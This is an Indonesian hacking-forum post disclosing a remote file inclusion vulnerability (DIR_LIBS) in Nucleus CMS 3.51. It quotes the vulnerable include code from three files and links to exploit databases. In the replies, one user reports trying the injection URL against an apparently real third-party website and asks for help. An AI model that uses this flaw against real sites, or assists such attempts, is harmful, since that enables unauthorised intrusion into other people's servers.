Nucleus CMS v.3.51 (DIR_LIBS) Multiple Vulnerability

[eidelweiss]

########################################################

-=[VUln Code]=-
**********************************

Code:

[-][path_to_nucleus]/action.php

$CONF = array();
require('./config.php');

// common functions
include_once($DIR_LIBS . 'ACTION.php');

$action = requestVar('action');
$a =& new ACTION();
$errorInfo = $a->doAction($action);

**********************************
[-][path_to_nucleus]/nucleus/xmlrpc/server.php

$CONF = array();
require("../../config.php");    // include Nucleus libs and code
include($DIR_LIBS . "xmlrpc.inc.php");
include($DIR_LIBS . "xmlrpcs.inc.php");

**********************************
[-][path_to_nucleus]/nucleus/plugins/skinfiles/index.php

    $strRel = '../../../';
    require($strRel . 'config.php');
    include($DIR_LIBS . 'PLUGINADMIN.php');

########################################################

Original file and P0C can be check here:

- http://www.exploit-db.com/exploits/12241
- http://seclists.org/bugtraq/2010/Apr/121
- http://inj3ct0r.com/exploits/11794

[zerofreedom]

mantap bro....
langsung coba....

bro numpang tanya..
gini kan ya http://thinsan.net/action.php?DIR_LIBS=h...xxxx.php??
tp kluar "Sorry. An error occurred." ;prustasi

[ronald_cool]

mantap kk..

makin keren aja om eidelweiss

nice share kk..